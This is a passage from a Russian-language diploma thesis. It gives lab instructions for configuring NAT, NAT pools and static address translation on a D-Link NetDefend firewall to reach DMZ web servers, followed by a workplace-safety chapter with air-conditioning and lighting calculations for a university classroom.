Следующий пример демонстрирует практическое применение механизма 

NAT в процессе установления нового соединения. 

1. Отправитель 192.168.1.5 посылает пакет с динамически назначенного 

порта 1038 серверу 195.55.66.77 на порт 80. 

192.168.1.5:1038 => 195.55.66.77:80 

2. В этом примере используется параметр Use Interface Address, поэтому 

считаем 195.11.22.33 адресом интерфейса. Порт источника случайным выбором 

преобразован в определенный свободный порт межсетевого экрана NetDefend с 

номером больше 1024. В данном примере допускаем, что выбран порт 32789. 

Тогда пакет отправлен в свой адрес назначения. 

195.11.22.33:32789 => 195.55.66.77:80 

3. Сервер-получатель обрабатывает пакет и отправляет ответ. 

195.55.66.77:80 => 195.11.22.33:32789 

4. Система NetDefendOS получает пакет и сравнивает его со своим 

перечнем открытых соединений. Когда соответствующее соединение найдено, 

система восстанавливает исходный адрес и пересылает пакет. 

195.55.66.77:80 => 192.168.1.5:1038 

5. Источник-отправитель получает ответ. 

NAT-пулы. Преобразование сетевых адресов (Network Address 

Translation, NAT) дает возможность нескольким внешним клиентам и хостам с 

уникальными частными внутренними IP-адресами обмениваться информацией 

с удаленными хостами через один внешний публичный IP-адрес (данный 

вопрос подробно освещается в Разделе 7.2., «NAT»). Если в наличии несколько 

публичных внешних IP- адресов, то используется объект «NAT-пул», чтобы 
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при установлении новых подключений назначать им публичные IP-адреса из 

пула. 

NAT-пулы обычно применяются, если требуется создать много 

уникальных подключений используя один порт. Менеджер портов в системе 

NetDefendOS может поддерживать до 65 000 соединений с уникальной 

комбинацией из IP-адреса источника и IP-адреса назначения. Большое 

количество портов может потребоваться, если многие внутренние клиенты 

используют, например, программные средства по совместному использованию 

файлов. Аналогичные требования могут возникнуть вситуации, когда 

множество клиентов одновременно имеет доступ в Интернет через прокси-

сервер. Проблема с ограниченным количеством портов решается с помощью 

выделения дополнительных внешних IP-адресов для выхода в Интернет и 

использования NAT-пулов для распределения новых подключений через эти IP-

адреса. 

Типы NAT-пулов. Существует три типа NAT-пулов, каждый из которых 

производит распределение новых подключений разными способами: 

- Stateful (Фиксирующий состояние); 

- Stateless (Нефиксирующий состояние); 

- Fixed (Фиксированный). 

Рабочее задание: добавить NAT-правила, по которому осуществляется 

преобразование адресов для всего HTTP-трафика внутренней сети. 

Методические указание к выполнению лабораторной работы:  

CLI 

Во-первых, сделайте текущей категорией основной набор IP-правил main: 

gw-world:/> cc IPRuleSet main 

Затем, создайте IP-правило: 

gw-world:/> add IPRule Action=NAT Service=http SourceInterface=lan 

SourceNetwork=lannet DestinationInterface=any DestinationNetwork=all-nets 

Name=NAT_HTTP NATAction=UseInterfaceAddress 

Вернитесь на верхний уровень: 

gw-world:/> cc 

Web-интерфейс 

1. Зайдите Rules > IP Rules > Add > IPRule 

2. Задайте правилу соответствующее имя, например, NAT_HTTP 

3. Затем введите: 

• Action: NAT 

• Service: http 

• Source Interface: lan 

• Source Network: lannet 

• Destination Interface: any 

• Destination Network: all-nets 

4. Удостоверьтесь, что на вкладке NAT выбрана опция Use Interface 

Address 
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5. Нажмите OK 

В данном примере демонстрируется создание NAT-пула с диапазоном 

внешних IP-адресов 10.6.13.10 – 10.16.13.15, который затем используется в IP-

правиле NAT для HTTP-трафика на WAN-интерфейсе. 

Web-интерфейс 

А. Во-первых, необходимо создать в адресной книге новый объект 

диапазона адресов: 

1. Зайдите Objects > Address Book > Add > IP address 

2. Задайте IP-диапазону соответствующее имя, например, nat_pool_range 

3. Введите диапазон 10.6.13.10 – 10.16.13.15 в поле IP Address  

4. Нажмите OK 

Б. Затем создайте объект «NAT-пул» типа Stateful с именем 

stateful_natpool: 

1. Зайдите Objects > NAT Pools > Add > NAT Pool 

2. Затем введите: 

• Name: stateful_natpool 

• Pool type: stateful 

• IP Range: nat_pool_range 

3. Выберите вкладку Proxy ARP и добавьте WAN-интерфейс. 

4. Нажмите OK 

В. Теперь определите NAT-правило в наборе IP-правил: 

1. Зайдите Rules > IP Rules > Add > IP Rule 

2. В разделе General введите: 

• Name: введите подходящее имя, такое как nat_pool_rule 

• Action: NAT 

3. В разделе Address filter введите: 

• Source Interface: int 

• Source Network: int-net 

• Destination Interface: wan 

• Destination Network: all-nets 

• Service: HTTP 

4. Перейдите на вкладку NAT: 

• Проверьте опцию Use NAT Pool 

• Выберите stateful_natpool из выпадающего списка 

5. Нажмите OK 

 

3.5 Лабораторная работа №5 «Преобразование IP-адресов «один к 

одному»» 

 

Цель работы: Разрешение трафика на защищенный WEB-сервер в зоне 

DMZ. 
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Теория: Система NetDefendOS может преобразовывать целые диапазоны 

IP-адресов и/или портов. Эти преобразования заключаются в установлении 

соответствия адреса или порта с определенным адресом или портом в новом 

диапазоне, причем при переназначении адресов и портов предшествующего 

диапазона им в соответствие ставится не один и тот же адрес/порт. Выполнение 

этих функций в системе NetDefendOS носит название статического 

преобразования адресов (Static Address Translation, SAT). 

SAT требует несколько IP-правил 

В отличие от механизма NAT, SAT требует определения не одного IP-

правила, а нескольких. SAT- правило, которое добавляется первоначально, 

определяет только трансляцию адреса, но система NetDefendOS не завершает 

выбор правил на нахождении подходящего SAT-правила. Система продолжает 

искать соответствующее «Allow», NAT- или FwdFast-правило. Только когда 

оно найдено, первое SAT-правило может быть выполнено. 

Первое SAT-правило определяет только механизм преобразования 

адресов. Второе, связанное правило, например, правило с действием «Allow», 

создается, чтобы фактически разрешить прохождение трафика через 

межсетевой экран. Во втором правиле должен отображаться IP-адрес 

назначения до его преобразования 

При создании IP-правил для SAT важно помнить о том, что, например, 

правило с действием «Allow» должно разрешать доступ с IP-адресом 

назначения до его преобразования. Распространенной ошибкой является 

создание «Allow» правила, которое разрешает доступ с адресом, уже 

преобразованным SAT-правилом. 

Таким образом, если SAT-правило транслирует адрес назначения с 1.1.1.1 

на 2.2.2.2, то затем второе связанное правило должно разрешать прохождение 

трафика на адрес назначения 1.1.1.1, а не на 2.2.2.2. 

Только после обработки второго правила дается разрешение на 

прохождение трафика. Система NetDefendOS производит подбор маршрута для 

переназначенного адреса, чтобы принять решение о том с какого интерфейса 

должны отправляться пакеты. 

Самой простейшей формой использования SAT является преобразование 

одного IP-адреса. Чаще всего такая ситуация встречается когда внешним 

пользователям предоставляют возможность получать доступ к защищенному 

серверу в зоне DMZ с приватным IP-адресом. Роль зоны DMZ 

В этом разделе руководства пользователя целесообразно рассмотреть 

концепцию и роль компьютерной сети известной как демилитаризованная зона 

(Demilitarized Zone, DMZ). 

При наличии зоны DMZ администратор может размещать в ней ресурсы, 

которые будут доступны непроверенным клиентам, обычно осуществляющим 

доступ к серверам через Интернет. Подобные серверы максимально 

подвержены угрозе внешних атак и угрозе несанкционированного доступа к 

зашифрованным материалам. 
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Выделяя такие серверы в зону DMZ, мы отделяем их от наиболее 

восприимчивых к атакам локальных внутренних сетей, и это позволяет системе 

NetDefendOS лучше контролировать поток данных между зоной DMZ и 

внутренними сетями и быстрее ликвидировать повреждения системы 

безопасности, которые могут возникать на DMZ-серверах. 

 

 
 

Рисунок 3.4 -  Роль зоны DMZ 

 

На рисунке 6. представлена схема построения типичной компьютерной 

сети с межсетевым экраном NetDefend, посредством которого происходит 

обмен информацией между серверами в зоне DMZ, локальными клиентами из 

сети LAN и Интернет. 

Рабочее задание: Продемонстрировать создание SAT-политики, которая 

будет перенаправлять и разрешать доступ соединениям из сети Интернет к 

WEB-серверу, размещенному в зоне DMZ. Межсетевой экран NetDefend 

подключен к Интернет через WAN-интерфейс с адресным объектом wan_ip, 

определенным как IP-адрес 195.55.66.77. IP-адрес WEB-сервера – 10.10.10.5. Он 

доступен через DMZ-интерфейс. 

Методические указание к выполнению лабораторной работы: 

CLI 

Во-первых, сделайте текущей категорией основной набор IP-правил main: 

gw-world:/> cc IPRuleSet main 

Затем, создайте IP-правило SAT:  

gw-world:/> add IPRule Action=SAT Service=http SourceInterface=any 

SourceNetwork=all-nets DestinationInterface=core DestinationNetwork=wan_ip 
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SATTranslate=DestinationIP SATTranslateToIP=10.10.10.5 

Name=SAT_HTTP_To_DMZ 

Затем создайте соответствующее правило с действием «Allow» 

gw-world:/main> add IPRule action=Allow Service=http SourceInterface=any 

SourceNetwork=all-nets DestinationInterface=core DestinationNetwork=wan_ip 

Name=Allow_HTTP_To_DMZ 

Web-интерфейс 

Во-первых, необходимо создать SAT-правило: 

1. Зайдите Rules > IP Rules > Add > IPRule 

2. Задайте SAT-правилу соответствующее имя, например, 

SAT_HTTP_To_DMZ 

3. Затем введите: 

• Action: SAT 

• Service: http 

• Source Interface: any 

• Source Network: all-nets 

• Destination Interface: core 

• Destination Network: wan_ip 

4. Удостоверьтесь, что на вкладке SAT выбрана опция Destination IP 

Address. 

5. В поле New IP Address введите 10.10.10.5. 

6. Нажмите OK 

Затем создайте соответствующее правило с действием «Allow» 

1. Зайдите Rules > IP Rules > Add > IPRule 

2. Задайте правилу соответствующее имя, например, 

Allow_HTTP_To_DMZ: 

3. Затем введите: 

• Action: Allow 

• Service: http 

• Source Interface: any 

• Source Network: all-nets 

• Destination Interface: core 

• Destination Network: wan_ip 

4. На вкладке Service выберите в списке Predefined значение http: 

5. Нажмите OK 

 

3.6 Лабораторная работа №6 «Преобразование IP-адресов «много ко 

многим»» 

 

Цель работы: Трансляция трафика на несколько защищенных WEB-

серверов 
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Теория: Одно SAT-правило можно использовать при преобразовании 

целого диапазона IP-адресов. В этом случае результатом преобразования будет 

замена первого исходного IP-адреса на первый IP-адрес из списка 

преобразования и т.п. 

Например, политикой SAT определяется, что соединения с сетью 

194.1.2.16/29 должны транслироваться на сеть 192.168.0.50. Далее представлена 

таблица с результатом преобразования адресов, которое последует:  

 

Таблица 3 - Преобразование адресов 

Исходный адрес Адрес после трансляции 

194.1.2.16 192.168.0.50 

194.1.2.17 192.168.0.51 

194.1.2.18 192.168.0.52 

194.1.2.19 192.168.0.53 

194.1.2.20 192.168.0.54 

194.1.2.21 192.168.0.55 

194.1.2.22 192.168.0.56 

194.1.2.23 192.168.0.57 

 

Другими словами: 

- При попытке соединения с 194.1.2.16 произойдет соединение с 

192.168.0.50. 

- При попытке соединения с 194.1.2.22 произойдет соединение с 

192.168.0.56. 

Этот способ может использоваться в ситуации, когда необходимо иметь 

доступ к одному из нескольких защищенных серверов, размещенных в зоне 

DMZ, через уникальный публичный IP- адрес. 

Рабочее задание: Продемонстрировать создание SAT-политики, которая 

будет перенаправлять и разрешать доступ соединениям из сети Интернет к пяти 

WEB-серверам, размещенным в зоне DMZ. Межсетевой экран NetDefend 

подключен к сети Интернет через WAN-интерфейс, используются публичные 

IP-адреса из диапазона от 10.10.10.5 до 10.10.10.9, они доступны через DMZ-

интерфейс. 

Чтобы выполнить задание, необходимо сделать следующее: 

- Определить объект, содержащий публичные IP-адреса. 

- Определить еще один объект на основе IP-адресов WEB-сервера. 

- Опубликовать публичные IP-адреса на WAN-интерфейсе, используя 

механизм публикации ARP. 

- Создать SAT-правило, по которому будет выполняться преобразование. 

- Создать правило с действием «Allow», разрешающее входящие HTTP-

соединения. 

Методические указание к выполнению лабораторной работы: 

CLI 
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Создайте адресный объект, содержащий публичные IP-адреса: 

gw-world:/> add Address IP4Address wwwsrv_pub  

Address=195.55.66.77-195.55.66.81 

Затем, создайте еще один адресный объект на основе IP-адресов WEB-

сервера:  

gw-world:/> add Address IP4Address wwwsrv_priv_base  

Address=10.10.10.5 

Опубликуйте публичные IP-адреса на WAN-интерфейсе, используя 

механизм публикации ARP. Один элемент ARP необходим для каждого IP-

адреса: 

gw-world:/main> add ARP Interface=wan IP=195.55.66.77 mode=Publish 

Повторить процедуру для каждого из пяти публичных IP-адресов. 

Сделайте текущей категорией основной набор IP-правил main: 

gw-world:/> cc IPRuleSet main 

Создайте SAT-правило для трансляции: 

gw-world:/> add IPRule Action=SAT Service=http  

SourceInterface=any  

SourceNetwork=all-nets  

DestinationInterface=wan  

DestinationNetwork=wwwsrv_pub  

SATTranslateToIP=wwwsrv_priv_base  

SATTranslate=DestinationIP 

Создайте соответствующее правило с действием «Allow» 

gw-world:/> add IPRule Action=Allow Service=http  

SourceInterface=any  

SourceNetwork=all-nets  

DestinationInterface=wan  

DestinationNetwork=wwwsrv_pub 

Web-интерфейс 

Создайте адресный объект, содержащий публичные IP-адреса: 

1. Зайдите Objects > Address Book > Add > IP address 

2. Задайте объекту соответствующее имя, например, wwwsrv_pub 

3. В поле IP Address введите 195.55.66.77 – 195.55.66.77.81 

4. Нажмите OK 

Затем, создайте еще один адресный объект на основе IP-адресов WEB-

сервера: 

1. Зайдите Objects > Address Book > Add > IP address 

2. Задайте объекту соответствующее имя, например, wwwsrv_priv_base 

3. В поле IP Address введите 10.10.10.5 

4. Нажмите OK 

Опубликуйте публичные IP-адреса на WAN-интерфейсе, используя 

механизм публикации ARP. Один элемент ARP необходим для каждого IP-

адреса: 
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1. Зайдите Interfaces > ARP > Add > ARP 

2. Затем введите: 

- Mode: Publish 

- Interface: wan 

- IP Address: 195.55.66.77 

3. Нажмите OK и повторите предыдущие действия для каждого из 5 

публичных IP-адресов. 

Создайте SAT-правило для трансляции: 

1. Зайдите Rules > IP Rules > Add > IPRule 

2. Определите для правила соответствующее имя, например, 

SAT_HTTP_To_DMZ 

3. Затем введите:  

Action: SAT 

Servce: http 

Source Interface: any 

Source Network: all-nets 

Destination Interface: wan 

Destination Network: wwwsrv_pub 

4. Перейдите на вкладку SAT 

5. Удостоверьтесь, что выбрана опция Destination IP Address 

6. В выпадающем списке New IP Address выберите wwwsrv_priv 

7. Нажмите OK 

Создайте соответствующее правило с действием «Allow» 

1. Зайдите Rules > IP Rules > Add > IPRule 

2. Задайте правилу соответствующее имя, например, 

Allow_HTTP_To_DMZ: 

3. Затем введите: 

- Action: Allow 

- Service: http 

- Source Interface: any 

- Source Network: all-nets 

- Destination Interface: wan 

- Destination Network: wwwsrv_pub 

4. Нажмите OK 
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4.  Безопасность жизнедеятельности 

 

 

Основной целью данного дипломного проекта является научить 

студентов защите своей или рабочей сети и системы. Научить пользоваться 

межсетевым экраном в целях безопасности и предотвращения доступа из вне.  

Использовалось оборудование компании D-Link, имеющиеся в 

университете на кафедре АЭС (Автоматической Электросвязи). Была проведена 

теоретическая и практическая разработка методов построения сети с учетом 

индивидуальных характеристик данного оборудования и предоставлены 

вспомогательные материалы по выполнению данных работ.  

 

4.1 Анализ условий труда в кабинете кафедры АЭС (каб. 401) 

 

Произведём анализ условий труда в кабинете кафедры АЭС (каб. 401) 

прямоугольной формы, размерами: длина – 8 метров, ширина – 6 метров, 

высота – 3,2 метра. Данное помещение рассчитано на 8 сидячих рабочих мест, в 

качестве средств труда используется оргтехника (8 компьютеров и 2 

беспроводных коммутатора, 4 точки доступа, универсальное средство от 

фирмы Hewlett Packard: принтер-сканер-ксерокс). 

Одним из наиболее важных факторов, влияющих на работу персонала, 

является обеспечение комфортной световой среды. Условие искусственного 

освещения на предприятиях оказывает большое влияние на зрительную 

работоспособность, физическое и моральное состояние людей, и, 

следовательно, на производительность труда и производственный травматизм. 

Работа студентов связана с большой степенью зрительного напряжения, 

поэтому очень важно обеспечить освещение, необходимое для  нормальной 

работы студентов. Т.к. работа проводится не только в течение светового дня, но 

и с наступлением сумерек, необходимо обеспечить комбинированное 

освещение, как естественное, так и искусственное. Для создания 

благоприятных условий труда производственное освещение должно отвечать 

следующим параметрам: 

освещенность на рабочем месте должна соответствовать гигиеническим 

нормам; 

яркость на рабочей поверхности и в пределах окружающего пространство 

должна распределяться по возможности равномерно; 

резкие тени на рабочей поверхности должны отсутствовать, наличие их 

создает неравномерное распределение яркости; 

освещение должно обеспечивать необходимый спектральный состав света 

для правильной светопередачи. 
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 При разработке проекта необходимо обязательно предусмотреть систему, 

обеспечивающую нормальные микроклиматические условия в воздухе рабочей 

зоны, т.к. от  этого зависит нормальная работа не только персонала, но и при 

меняемого оборудования.  

В кабинете кафедры АЭС размером 8х6х3,2 метра объемом 153,6 м3 

работают восемь человек. Т. о. в помещение должен подаваться следующий 

объем наружного воздуха: при кубатуре помещения до 30 м3 на одного 

работающего – не менее 20 м3/ч на человека. Воздух, поступающий в офисное 

помещение, очищен от загрязнений, в том числе от пыли и микроорганизмов.  

Контроль состояния микроклимата в производственных помещениях 

позволяет поддерживать условия труда, близкие к оптимальным, что 

увеличивает производительность и комфортность труда, снижает заболевание 

работающих. 

Оптимальный микроклимат в помещении поддерживается при помощи 

системы кондиционирования. В помещении исключена возможность 

приближения людей к токоведущим частям офисного оборудования. Все 

соединительные провода и линии имеют качественную изоляцию.  

Для подачи питания к оборудованию используются евророзетки, клемма 

заземления которых соединена с общей системой защитного заземления. Общая 

система заземления является контурной, т.е. заземлители устанавливаются по 

контуру вокруг заземляемого оборудования на небольшом расстоянии друг от 

друга так, чтобы область распространения наибольшего потенциала охватывала 

весь контур защищаемого оборудования. При достаточно близких расстояниях 

между заземлителями точки земли внутри контура будут иметь примерно 

одинаковые потенциалы, благодаря чему уменьшается разность потенциалов 

между отдельными точками внутри контура, т. е. уменьшаются напряжения 

прикосновения и напряжения шага. 

Естественное освещение является боковым. Три окна размером 2х1,8 

метра. Величина коэффициента естественной освещенности (к. е. о.) при 

выполнении работ средней зрительной точности должна быть не ниже 1,2%. 

Искусственное освещение осуществляется в виде комбинированной системы 

освещения с использованием люминесцентных источников света. 

Пульсация освещенности используемых люминесцентных ламп не 

превышает 10%. В качестве средств затемнения используются регулируемые 

жалюзи с белыми вертикальными шёлковыми ламелями. Окна размещены с 

одной стороны рабочих помещений.  

Оборудование, применяемое в нашем помещении, постоянно находится 

под напряжением, и вследствие своей исправности вполне может стать 

источником пожара. Особенностью современного телекоммуникационного 

оборудования, является высокая плотность  расположения элементов памяти, 

следовательно, вентиляция  и система  охлаждения в системных блоках 
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оборудовании должны быть постоянно в исправном состоянии, в противном 

случае возможен перегрев вплоть до воспламенения.  

Поскольку в рассматриваемом случае  при возгорании электроустройства 

могут находиться под напряжением, то использовать  воду и пену для  тушения 

пожара недопустимо, что может привести  к электрическим травмам и жертвам 

и выходу из строя дорогостоящего оборудования.    

Наличие одного огнетушителя в помещении позволит быстро потушить 

пожар или хотя бы задержать распространение огня.  

В помещении имеются в наличии средства связи для быстрого вызова 

городской пожарной части, в случае возникновения пожара, к которым 

обеспечен свободный доступ в любое время суток. Пожарная сигнализация 

осуществляется ручными извещателями ПКИЛ-9, которые приводятся в 

действие  нажатием кнопки. Они расположены на лестничных площадках и в 

коридорах и окрашены в красный свет.   

В помещении не происходят процессы, в которых применяются горючие 

и легко воспламеняющиеся вещества. На случай возникновения пожара 

предусмотрена возможность эвакуации людей. Все выходы являются 

эвакуационными, т.к. ведут из помещения любого этажа в коридор, ведущий на 

внутреннюю лестничную клетку, имеющую выход непосредственно наружу 

или через вестибюль.  

Территория объекта содержится в чистоте, весь горючий мусор 

систематически удаляется и вывозится. Все дороги и подъезды к зданию, 

сооружениям и источникам воды содержатся в исправности и освещены в 

ночное время. Коридоры, проходы, основные и запасные выходы, тамбуры, 

лестничные клетки содержатся в исправном состоянии, не загромождены, в 

ночное время имеют освещение. Входные двери на чердаки и подвалы закрыты 

на замки, ключи от которых хранятся в месте, доступном для получения их в 

любое время суток.  

Еще одним очень важным фактором, оказывающим большое влияние на 

зрительную работоспособность, физическое и моральное состояние людей, и, 

следовательно, на производительность труда и производственный травматизм 

является организация рабочего места. Одним из основных функциональных 

элементов рабочего места является клавиатура. Оптимальный угол наклона 

клавиатуры составляет 15 по отношению к горизонтальной поверхности. 

Работа осуществляется сидя. Высота рабочей поверхности 1200 мм. Разница 

между высотами рабочей поверхности и сидения регулируется и составляет 

270-280 мм. Рабочие сидения обеспечивают положение тела, при котором 

нагрузка на мышцы оптимальна и способствует нормальной деятельности 

функциональных органов человека, созданы возможности изменения рабочей 

позы для снятия напряжения мышц и предупреждения общего утомления, 

обеспечено свободное перемещение и фиксация тела относительно рабочей 

поверхности. 
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4.2. Расчёт системы кондиционирования.  

 

При расчёте системы кондиционирования нужно исходить из 

необходимости удаления из производственного помещения всех вредных 

факторов, т. е. избытков тепла, влаги, паров, газов и пыли. 

а) Теплопоступления и теплопотери в результате разности температур 

Количество тепла, поступающего в помещение в результате разности 

температур определяется по формуле: 

 
Qогр Vпом X0 tНрасч tВрасч                                    (4.1) 

 

где Vпом = 8х6х3,2 = 153,6 м
3
 – объём помещения; 

       Х0 = 0,42 Вт/м
3
 С – удельная тепловая характеристика;  

       tНрасч = 27,6  - расчётная наружная температура для тёплого периода 

года;  

       tНрасч = -10  - расчётная наружная температура для холодного периода 

года (ХХХ, табл. 3); 

       tВрасч = 22  - расчётная внутренняя температура для тёплого периода 

года; 

       tВрасч = 19  - расчётная внутренняя температура для холодного 

периода года (табл. 6.1). 

 

Тогда теплопоступление для тёплого периода года составят: 

 

Qогр = 153,6*0,42*(27,6-22) = 361,3(Вт) 

  

А теплопотери для холодного периода года составят: 

 

Qогр = 153,6*0,42*(-10-19) = -1870,9(Вт) 

 

 

б) Теплопоступление от солнечного излучения через остекление 

Избыточная теплота солнечного излучения в зависимости от типа стекла 

почти до 90% поглощается средой помещения, остальная часть отражается. 

Максимальная тепловая нагрузка достигается при максимальном уровне 

излучения, которое имеет прямую и рассеянную составляющие. Интенсивность 

излучения зависит от широты местности, времени года, времени суток. 

Площадь ленточного остекления офиса (3 окна – 2 х 1.8 метра, 

направление на север «С»): 

 

F0 3 2 1.8 10.8 м
2 
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Коэффициент теплопропускания для открытых жалюзи (ХХХ, табл. 4): 

 сз 0.15 
 

Для направления на север «С» (ХХХ, табл. 5) до полудня, т. е. с начала 

занятости с 9 до 12 часов при широте 44 с. ш. (г. Алматы) значение прямой 

радиации (П) и рассеянной радиации (Р): 

 

qвп 0
Вт

м
2







                       

qвр 64
Вт

м
2







  

 

После полудня для направления на север «С», начиная с 12-13 часов: 

 

qвп 0
Вт

м
2









qвр 59
Вт

м
2








 

 

В диапазоне широт 44-68 с. ш. для двойного остекления в металлических 

переплётах для всего рабочего дня коэффициент, учитывающий затемнение 

световых проёмов (ХХХ, табл. 6): 

 

К1 К1 Т 1.15 
 

поскольку проём с ориентацией на север затемнён в течении всего 

рабочего дня. 

Коэффициент, учитывающий умеренное загрязнение остекления (ХХХ, 

табл. 7): 
K2 0.9 
 

Теплопоступление в период от 9 до 14 часов определим по формуле: 

 

Qр1 qвр К1 Т К2  сз F0

Qр1 64 1.15 0.9 0.15 10.8 107.3 Вт( )               (4.2) 

 

Теплопоступление в период от 14 до 20 часов определим по формуле: 

 
Qр2 59 1.15 0.9 0.15 10.8 98.9 Вт( )  
 

Примем за максимальный расчётный час 9-10 часов, когда 

теплопоступление от солнечной радиации составляет 107.3 Вт. 
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в) Теплопоступление от людей 

Поступление тепла от людей зависит от интенсивности выполняемой 

работы и параметров окружающего воздуха. Тепло, выделяемое человеком 

складывается из ощутимого (явного), т. е. передаваемого в воздух помещения 

путём конвекции и лучеиспускания, и скрытого тепла, затрачиваемого на 

испарение влаги с поверхности кожи и из лёгких. 

В офисе при температуре 23 находится одновременно 8 человек. Один 

человек при температуре 23 в положении сидя выделяет явного тепла 67 Вт 

(ХХХ, табл. 8). 

Выделение явного тепла людьми в офисе составит: 

 
Qл 67 8 536 Вт( )  
 

г) Теплопоступление от осветительных приборов и оргтехники 

Теплопоступление от ламп определяется по формуле: 

 

Qосв  Nосв F0                                                    (4.3) 

 

Коэффициент перехода электрической энергии в тепловую для 

люминесцентных ламп:      0.5 0.6  

 

Установленная мощность ламп:    Nосв 40 Вт( )  

 

Площадь пола:     Fпол 6 8 48 м
2 

 

 

Тогда:      Qосв 0.6 40 48 1152 Вт( )  

 

Теплопритоки, возникающие за счёт находящейся в офисе оргтехники, в 

среднем составляют 300 Вт на один компьютер, т. е.: 

 
Qорг 300 9 2700 Вт( )  
 

Тогда общий баланс теплопоступлений определяется формулой: 

 
Q Qогр Qр Qл Qосв Qорг                             (4.4) 

 

Для тёплого периода года: 

 

Q = 361.3+107.3+536+1152+2700=4857.4(Вт) 

 

Для холодного периода года: 
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Q = -1870,9+107.3+536+1152+2700=2624,4(Вт) 

 

Кондиционирование обеспечивает наилучшее микроклимата в 

помещении и условия работы точной и чувствительной аппаратуры. 

Определяем количество удаляемого из помещения воздуха при избытках 

тепла 

 

                                                                                         (4.5) 

 

где  – избыточное выделение явной теплоты, Вт; 

       – теплоемкость воздуха; 

       – плотность уходящего воздуха. 

Расчет расхода воздуха на внешнем блоке: 

 

L = 4857.4/(0.278*(27.6-22)*1.19) = 2625 м
3
/ч 

 

Расчет расхода воздуха на внутреннем блоке: 

 

L = 2624.4/(0.278*(19-10)*1.19) = 883 м
3
/ч 

 

 

д) Выбор кондиционера сплит-системы 

Исходя из общего максимального теплопоступления (теплопоступления 

максимальны в тёплый период года) для рассматриваемого помещения, модель 

кондиционера выбираем из типового ряда по ближайшему (с учётом запаса) 

значению холодопроизводительности. 

Для обеспечения круглогодичной работы кондиционера выберем 

оборудование фирмы DELONGHI (ХХХ, табл. 1), т. к. кондиционеры этой 

фирмы эффективно работают в режиме «теплового насоса» в холодное время 

года. Кондиционер серии СР фирмы DELONGHI (Италия), 230/1/50. 

Технические решения, реализованные в данных моделях, включают: 

1) Микропроцессор и все системы контроля и управления 

расположены во внутреннем блоке; 

2) Автоматическое снижение скорости вращения вентилятора 

внешнего блока позволяет сохранить характеристики работы кондиционера при 

низких температурах; 

3)  Система управления не допускает образования льда на внешнем 

блоке; 
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4) Подогрев картера компрессора во внешнем блоке обеспечивает 

пуск и безопасную работу зимой; 

5) Внешний блок кондиционера изготовлен из морозоустойчивых 

материалов. 

 

 Т а б л и ц а 4.1 - Технические характеристики настенного кондиционера 

фирмы Delondhi 

Модель СР 40 

Эл. Питание, В/ф/Гц 230/1/50 

Производительность по холоду, 

Вт 
5 073 

Потребляемая эл. Мощность, Вт 1 603 

Потребляемый ток, А 6,9 

Удаление влаги (max), л/4 2,2 

Производительность по теплу, 

Вт 
5 542 

Внутренний блок 

Расход воздуха (max), м
3
/ч 883 

Размеры: 

- длина 

-высота 

-глубина 

 

967 

300 

195 

Внешний блок 

Расход воздуха (max), м
3
/ч 2 625 

Размеры: 

- длина 

-высота 

-глубина 

 

800 

640 

280 

 

Ряд технических решений, реализованных в конструкции кондиционеров 

DELONGHI, обеспечивает работу при низких температурах наружного воздуха 

(до tн = - 20 С). 

Комфортные условия в помещении в большой степени зависят от 

правильного распределения воздушного потока. Если выходящий из 

кондиционера поток холодного воздуха направлен вниз и попадает на человека, 

это неблагоприятно сказывается на его здоровье. Кондиционер СР-40 имеет 

специальную конструкцию воздухораздающего устройства. На выходе воздуха 

из внутреннего блока кондиционера установлены падающие шторки, 

конструкция которых позволяет направить поток воздуха горизонтально, что 

способствует равномерному распространению охлаждённого воздуха по всему 

помещению.   

Внутренний блок кондиционера устанавливаем на стене на высоте 2,5 

метра, т. е. выше рабочей зоны помещения. 
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Наружный блок устанавливается на улице, на стене здания под окном. 

Между внутренним и наружным блоками прокладываются фреоновые 

трубопроводы и электрический соединительный кабель. От внутреннего блока 

трубки с кабелем опускаются вниз по стене до отметки установки наружного 

блока. Для прохождения трассы через наружную стену в ней сверлится 

отверстие диаметром 60 мм, и через него трубопровод выводится на улицу для 

подключения к наружному блоку. Затем отверстие герметизируется. При 

работе кондиционера в режиме охлаждения во внутреннем блоке образуется 

конденсат, поэтому в офисе предусмотрим отвод конденсата (дренажа) от 

внутреннего блока. Дренаж подключим к системе существующей канализации.   

Основной угрозой для жизни может служить неправильно обращение с 

электрооборудованием и энергообеспечением. 

Поражение электрическим током возникает при соприкосновении 

с электрической цепью, в которой присутствуют источники 

напряжения и/или источники тока, способные вызвать протекание тока по 

попавшей под напряжение части тела. Обычно чувствительным для человека 

является пропускание тока силой более 1 мА. Кроме того, на установках 

высокого напряжения возможен удар электрическим током без прикосновения 

к токоведущим элементам, в результате утечки тока или пробоя воздушного 

промежутка. 

Сила поражения зависит от мощности разряда, от времени воздействия, 

от характера тока (постоянный или переменный), от состояния человека — 

влажности рук и т. п., а также от места соприкосновения и пути прохождения 

тока по организму. 

Правила устройства электроустановок (ПУЭ) — документ, описывающий 

устройство, принцип построения, особые требования к отдельным системам, их 

элементам, узлам и коммуникациям электроустановок в СССР. ПУЭ не 

является документом в области стандартизации. В данный момент различные 

редакции действуют на территории России (6 и 7-е (переизданные главы) 

издание), на Украине (6-е издание), в Белоруссии (6-е издание), в Казахстане (6-

е издание) и так далее. 

Для продукции в отношении которой не вступили в силу технические 

регламенты Таможенного союза или технические регламенты Евразийского 

экономического сообщества, действуют нормы законодательства Таможенного 

союза и законодательств Сторон в сфере технического регулирования. ПУЭ к 

российскому законодательству в сфере технического регулирования не 

относится. 

ПУЭ распространяется на установки электрического освещения зданий, 

помещений и сооружений наружного освещения городов, посёлков и сельских 

населённых пунктов, территорий предприятий и учреждений, на установки 

оздоровительного ультрафиолетового облучения длительного действия, 

установки световой рекламы, световые знаки и иллюминационные установки и 

другое. 
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Действующая версия правил не учитывают требования по защите 

электроустановок от пожаров (ГОСТ Р 50571.17-2000), защите от 

перенапряжений, вызываемых замыканиями на землю в электроустановках 

выше 1 кВ, грозовыми разрядами и коммутационными переключениями (ГОСТ 

Р 50571.18-2000, ГОСТ Р 50571.19-2000), электромагнитными воздействиями 

(ГОСТ Р 50571.20-2000). 

 

4.2 Расчет искусственного освещения в производственном 

помещении 

 

В связи с тем, что разряд зрительной работы в данном помещении 

относится к высокой точности, а также в связи с наступлением сумерек 

происходит нехватка естественного освещения, поэтому необходимо 

рассчитать дополнительно искусственное освещение. 

Расчет искусственного освещения в производственном помещении 

произведен согласно методическим указаниям.  

Исходные данные:  

– длина комнаты L = 4 м; 

– ширина комнаты B = 5 м; 

– высота H = 3,2 м; 

– высота рабочей поверхности над уровнем пола hр = 0,8 – 1 м; 

